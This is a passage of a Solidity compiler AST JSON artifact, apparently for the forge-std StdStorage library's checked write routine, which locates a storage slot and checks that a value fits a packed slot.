StdStorage"}},"visibility":"internal"},{"constant":false,"id":9080,"mutability":"mutable","name":"write","nameLocation":"15264:5:8","nodeType":"VariableDeclaration","scope":9093,"src":"15259:10:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":9079,"name":"bool","nodeType":"ElementaryTypeName","src":"15259:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"15233:37:8"},"returnParameters":{"id":9082,"nodeType":"ParameterList","parameters":[],"src":"15280:0:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9285,"nodeType":"FunctionDefinition","src":"15439:1484:8","nodes":[],"body":{"id":9284,"nodeType":"Block","src":"15509:1414:8","nodes":[],"statements":[{"assignments":[9102],"declarations":[{"constant":false,"id":9102,"mutability":"mutable","name":"who","nameLocation":"15527:3:8","nodeType":"VariableDeclaration","scope":9284,"src":"15519:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":9101,"name":"address","nodeType":"ElementaryTypeName","src":"15519:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":9105,"initialValue":{"expression":{"id":9103,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15533:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":9104,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15538:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"15533:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"15519:26:8"},{"assignments":[9107],"declarations":[{"constant":false,"id":9107,"mutability":"mutable","name":"fsig","nameLocation":"15562:4:8","nodeType":"VariableDeclaration","scope":9284,"src":"15555:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":9106,"name":"bytes4","nodeType":"ElementaryTypeName","src":"15555:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"id":9110,"initialValue":{"expression":{"id":9108,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15569:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":9109,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15574:4:8","memberName":"_sig","nodeType":"MemberAccess","referencedDeclaration":7416,"src":"15569:9:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"VariableDeclarationStatement","src":"15555:23:8"},{"assignments":[9112],"declarations":[{"constant":false,"id":9112,"mutability":"mutable","name":"field_depth","nameLocation":"15596:11:8","nodeType":"VariableDeclaration","scope":9284,"src":"15588:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9111,"name":"uint256","nodeType":"ElementaryTypeName","src":"15588:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":9115,"initialValue":{"expression":{"id":9113,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15610:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":9114,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15615:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"15610:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"15588:33:8"},{"assignments":[9117],"declarations":[{"constant":false,"id":9117,"mutability":"mutable","name":"params","nameLocation":"15644:6:8","nodeType":"VariableDeclaration","scope":9284,"src":"15631:19:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":9116,"name":"bytes","nodeType":"ElementaryTypeName","src":"15631:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":9122,"initialValue":{"arguments":[{"id":9120,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15682:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9118,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"15653:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9119,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15668:13:8","memberName":"getCallParams","nodeType":"MemberAccess","referencedDeclaration":7506,"src":"15653:28:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) view returns (bytes memory)"}},"id":9121,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15653:34:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"15631:56:8"},{"condition":{"id":9138,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"15702:78:8","subExpression":{"expression":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":9123,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15703:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":9124,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15708:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"15703:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":9126,"indexExpression":{"id":9125,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9102,"src":"15714:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15703:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":9128,"indexExpression":{"id":9127,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9107,"src":"15719:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15703:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":9136,"indexExpression":{"arguments":[{"arguments":[{"id":9132,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9117,"src":"15752:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":9133,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9112,"src":"15760:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9130,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15735:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":9131,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15739:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"15735:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":9134,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15735:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":9129,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"15725:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":9135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15725:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15703:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"id":9137,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15775:5:8","memberName":"found","nodeType":"MemberAccess","referencedDeclaration":7401,"src":"15703:77:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":9145,"nodeType":"IfStatement","src":"15698:126:8","trueBody":{"id":9144,"nodeType":"Block","src":"15782:42:8","statements":[{"expression":{"arguments":[{"id":9140,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15801:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"hexValue":"66616c7365","id":9141,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"15807:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":9139,"name":"find","nodeType":"Identifier","overloadedDeclarations":[8825,8843],"referencedDeclaration":8843,"src":"15796:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_uint256_$","typeString":"function (struct StdStorage storage pointer,bool) returns (uint256)"}},"id":9142,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15796:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":9143,"nodeType":"ExpressionStatement","src":"15796:17:8"}]}},{"assignments":[9148],"declarations":[{"constant":false,"id":9148,"mutability":"mutable","name":"data","nameLocation":"15850:4:8","nodeType":"VariableDeclaration","scope":9284,"src":"15833:21:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"},"typeName":{"id":9147,"nodeType":"UserDefinedTypeName","pathNode":{"id":9146,"name":"FindData","nameLocations":["15833:8:8"],"nodeType":"IdentifierPath","referencedDeclaration":7402,"src":"15833:8:8"},"referencedDeclaration":7402,"src":"15833:8:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"}},"visibility":"internal"}],"id":9163,"initialValue":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":9149,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15857:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":9150,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15862:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"15857:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":9152,"indexExpression":{"id":9151,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9102,"src":"15868:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15857:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":9154,"indexExpression":{"id":9153,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9107,"src":"15873:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15857:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":9162,"indexExpression":{"arguments":[{"arguments":[{"id":9158,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9117,"src":"15906:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":9159,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9112,"src":"15914:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9156,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15889:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":9157,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15893:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"15889:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":9160,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15889:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":9155,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"15879:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":9161,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15879:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15857:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"nodeType":"VariableDeclarationStatement","src":"15833:95:8"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":9171,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":9168,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":9164,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"15943:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9165,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15948:10:8","memberName":"offsetLeft","nodeType":"MemberAccess","referencedDeclaration":7397,"src":"15943:15:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"expression":{"id":9166,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"15961:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9167,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15966:11:8","memberName":"offsetRight","nodeType":"MemberAccess","referencedDeclaration":7399,"src":"15961:16:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"15943:34:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":9169,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"15942:36:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":9170,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"15981:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"15942:40:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":9207,"nodeType":"IfStatement","src":"15938:460:8","trueBody":{"id":9206,"nodeType":"Block","src":"15984:414:8","statements":[{"assignments":[9173],"declarations":[{"constant":false,"id":9173,"mutability":"mutable","name":"maxVal","nameLocation":"16006:6:8","nodeType":"VariableDeclaration","scope":9206,"src":"15998:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9172,"name":"uint256","nodeType":"ElementaryTypeName","src":"15998:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":9185,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":9184,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"32","id":9174,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"16015:1:8","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"nodeType":"BinaryOperation","operator":"**","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":9182,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"323536","id":9175,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"16021:3:8","typeDescriptions":{"typeIdentifier":"t_rational_256_by_1","typeString":"int_const 256"},"value":"256"},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":9180,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":9176,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16028:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9177,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16033:10:8","memberName":"offsetLeft","nodeType":"MemberAccess","referencedDeclaration":7397,"src":"16028:15:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"expression":{"id":9178,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16046:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9179,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16051:11:8","memberName":"offsetRight","nodeType":"MemberAccess","referencedDeclaration":7399,"src":"16046:16:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16028:34:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":9181,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"16027:36:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16021:42:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":9183,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"16020:44:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16015:49:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"15998:66:8"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":9192,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":9189,"name":"set","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9098,"src":"16111:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9188,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16103:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":9187,"name":"uint256","nodeType":"ElementaryTypeName","src":"16103:7:8","typeDescriptions":{}}},"id":9190,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16103:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":9191,"name":"maxVal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9173,"src":"16118:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16103:21:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"arguments":[{"arguments":[{"hexValue":"73746453746f726167652066696e642853746453746f72616765293a205061636b656420736c6f742e2057652063616e2774206669742076616c75652067726561746572207468616e20","id":9197,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16212:76:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_c6d0684ad88a5416aef2586056893899c6c8e834933c68e4c91239ee0856a523","typeString":"literal_string \"stdStorage find(StdStorage): Packed slot. We can't fit value greater than \""},"value":"stdStorage find(StdStorage): Packed slot. We can't fit value greater than "},{"arguments":[{"id":9200,"name":"maxVal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9173,"src":"16326:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9198,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8798,"src":"16314:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":9199,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16317:8:8","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"16314:11:8","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":9201,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16314:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c6d0684ad88a5416aef2586056893899c6c8e834933c68e4c91239ee0856a523","typeString":"literal_string \"stdStorage find(StdStorage): Packed slot. We can't fit value greater than \""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":9195,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16170:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":9196,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16174:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"16170:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":9202,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16170:185:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":9194,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16142:6:8","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":9193,"name":"string","nodeType":"ElementaryTypeName","src":"16142:6:8","typeDescriptions":{}}},"id":9203,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16142:231:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9186,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"16078:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":9204,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16078:309:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9205,"nodeType":"ExpressionStatement","src":"16078:309:8"}]}},{"assignments":[9209],"declarations":[{"constant":false,"id":9209,"mutability":"mutable","name":"curVal","nameLocation":"16415:6:8","nodeType":"VariableDeclaration","scope":9284,"src":"16407:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9208,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16407:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":9219,"initialValue":{"arguments":[{"id":9212,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9102,"src":"16432:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"expression":{"id":9215,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16445:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage 